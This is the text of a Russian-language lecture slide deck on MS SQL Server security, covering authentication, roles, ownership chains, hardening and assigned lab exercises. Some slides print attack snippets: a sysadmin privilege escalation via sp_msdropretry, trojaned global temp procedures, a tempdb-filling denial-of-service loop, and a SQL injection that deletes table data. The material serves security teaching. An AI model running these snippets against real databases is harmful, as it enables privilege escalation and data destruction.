Скачать презентацию
Идет загрузка презентации. Пожалуйста, подождите
Презентация была опубликована 10 лет назад пользователемАнтонина Пономарева
1 Безопасность СУБД Раздел IV
2 Безопасность СУБД Рассматриваемые темы: Модель безопасности СУБД MS SQL Server Анализ защищённости СУБД
3 Безопасность СУБД ПРИЛОЖЕНИЯ СУБД ОС СЕТЕВЫЕ СЛУЖБЫ ПОЛЬЗОВАТЕЛИ Пользовательские бюджеты Механизм аудита Механизм разграничения доступа Язык программирования Механизм управления паролями
4 Методы аутентификации Integrated Windows NTLM Kerberos Local SAM Active Directory pass XOR 0xA5 master sysxlogins pwd pwdencrypt(pass) SQL Server Authentication
5 Разграничение доступа master sysxlogins Server login select * from db.table db table Database master Database DB db sysusers Db user db syspermissions Grant Blank Deny
6 Стандартные учетные записи Server login SA Builtin/Administrators Standard Windows Group Database Users DBO Guest master tempdb
7 Роли пользователей Создавать БД Создавать login Удалять БД Читать данные Удалять таблицу Писать данные Роли уровня сервера Роли уровня БД public
8 Роли пользователей Стандартные роли уровня сервера Серверная роль Описание sysadmin Полный доступ к серверу serveradmin Настройка параметров уровня сервера, выключение сервера. setupadmin Настройка присоединенных серверов и процесса запуска сервера. securityadmin Управление, настройками безопасности сервера, включая присоединенные серверы, настройка разрешения CREATE DATABASE. Установка пароля для учетных записей сервера. processadmin Имеет права прерывать процессы сервера SQL. dbcreator Имеет права создавать, модифицировать, удалять и восстанавливать любую базу данных. diskadmin Управление файлами Bulkadmin Разрешает пользователю выполнять операцию BULK INSERT
9 Роли пользователей Стандартные роли уровня базы данных Роли уровня БД Описание db_owner Полный доступ к объектам БД db_accessadmin Управляет доступом для учетных записей Windows и SQL сервера db_datareader Читать все данные из всех пользовательских таблиц db_datawriter Добавлять, удалять и модифицировать данные в пользовательских таблицах db_ddladmin Выполнять команды Data Definition Language (DDL) в данной БД db_securityadmin Изменяет принадлежность роли и разрешения на пользовательских объектах БД db_backupoperator Выполнят операции резервного копирования базы данных db_denydatareader Запрещает чтение данных из пользовательских таблиц db_denydatawriter Запрещает добавлять, удалять и модифицировать данные в пользовательских таблицах
10 Управление сервером
11 Цепочка владения Ownership Chains Db.owner. user_table Db.owner.sp_select char(30) = user SELECT * from user_table where user - execute user - select user select * from user_table exec sp_select
12 Угрозы безопасности СУБД Компрометация ОС с помощью СУБД Использование системных хранимых процедур Обход защитных механизмов при физическом доступе Перехват данных при передаче по сети Использование цепочки владения для повышения полномочий Получение паролей пользователей Внедрение SQL кода (SQL Injection)
13 Шифрование трафика (SSL/TLS) Перехват данных при передаче по сети 1. Получить Server Authentication Certificate для использования с FQDN сервера 2. Установить сертификат в локальное хранилище компьютера 3. Включить шифрование Force Protocol Encryption 4. Проверить соединение (ODBC): Driver=SQLServer;Server=ServerName; Network=DBNETLIB.DLL;Encrypt=YES
14 Учетные записи служб SQL Server Server Agent Microsoft Search DTS Local System User Local System User Local System User Local System User Компрометация ОС с помощью СУБД
15 Шифрование баз данных Обход защитных механизмов при физическом доступе 1. Выполнить рекомендации по настройке EFS 2. Настроить сервис сервера на запуск от имени доменной учетной записи 3. Остановить SQL сервер 4. Зайти в систему от имени доменной учетной записи 5. Использовать утилиту chipher с ключом /W для шифрования файлов базы данных (*.ldf, *.mdf) 6. Очистить кэш доменных учетных записей 7. Запретить вход на сервер группе builtin/administrators 8. Использовать SysKey
16 Межбазовая цепочка владения Cross database ownership chain Master.dbo. sysxlogins Database master Database test dbo test.dbo.test create proc dbo.test as select * from master.dbo.sysxlogins exec test
17 Межбазовая цепочка владения Получение пользователем db_owner привилегий sa Создаем вид для модификации таблицы sysxlogins create view dbo.test2 as select * from master.dbo.sysxlogins Используем ошибку в sp_msdropretry для замены sid (0x01=sa) exec sp_msdropretry xx update sysusers set sid=0x01 where name= dbo, xx Set xstatus field to 18 (sysadmin) exec sp_msdropretry xx update dbo.test set xstatus=18 where name= SUSER_SNAME(), xx
18 Межбазовая цепочка владения Способ защиты Отключена по умолчанию в SQL Server 2000 Service Pack 3 Есть возможность включить в пределах сервера и отдельной базы данных База данных master не поддерживает опцию db chaining exec sp_configure «Cross DB Ownership Chaining», «1» exec sp_dboption «databasename», «db chaining», «true»
19 Временные хранимые процедуры: Троянский код в хранимых процедурах Могут быть созданы любым пользователем Могут быть выполнены любым пользователем Могут быть модифицированы любым пользователем select name from tempdb..sysobjects where name like '##%' 1. Поиск процедуры: 2. Модификация: alter proc ## as 3. Ожидание выполнения привилегированным пользователем
20 Троянский код в хранимых процедурах Microsoft не считает данное поведение уязвимостью Глобальные процедуры работают в соответствии с документацией «by Design» Вывод: Не использовать глобальные хранимые процедуры
21 Отказ в обслуживании Временные таблицы могут создаваться любым пользователем Пользователь guest не может быть удален из базы данных tempdb create table #tmp (x varchar(8000)) insert into #tmp select 'X' while 1=1 insert into #tmp select * from #tmp
22 Отказ в обслуживании Использование временных таблиц Database temp Database test user #tmp create table #tmp (x varchar(8000)) insert into #tmp select 'X' while 1=1 insert into #tmp select * from #tmp #tmp
23 SQL Injection Метод обхода логики приложения и получения непосредственного доступа к данным путем внедрения во входную информацию, обрабатываемую приложением операторов языка SQL SQL Injection могут быть подвержены: - WEB приложения - Двухзвенные приложения - Хранимые процедуры
24 SQL Injection id = Request.querystring("id") SQL_query = "SELECT * FROM test where id="+id Set RS = MyConn.Execute(SQL_query) select * from test where id=1
25 SQL Injection from test id = Request.querystring("id") SQL_query = "SELECT * FROM test where id="+id Set RS = MyConn.Execute(SQL_query) select * from test where id=1; delete from test
26 SQL Injection Программа Data Thief
27 Практическая работа 23 Исследование метода SQL Injection
28 Анализ защищённости СУБД ПРИЛОЖЕНИЯ СУБД ОС СЕТЕВЫЕ СЛУЖБЫ ПОЛЬЗОВАТЕЛИ Database Scanner
29 Выполняемые проверки Authentication Параметры идентификации и аутентификации Authorization Права и допуски пользователей к объектам БД System Integrity Параметры ОС (платформы)
30 Практическая работа 24 Анализ защищённости СУБД MSSQL Server с помощью программы Database Scanner
31 Вопросы ?
Еще похожие презентации в нашем архиве:
© 2024 MyShared Inc.
All rights reserved.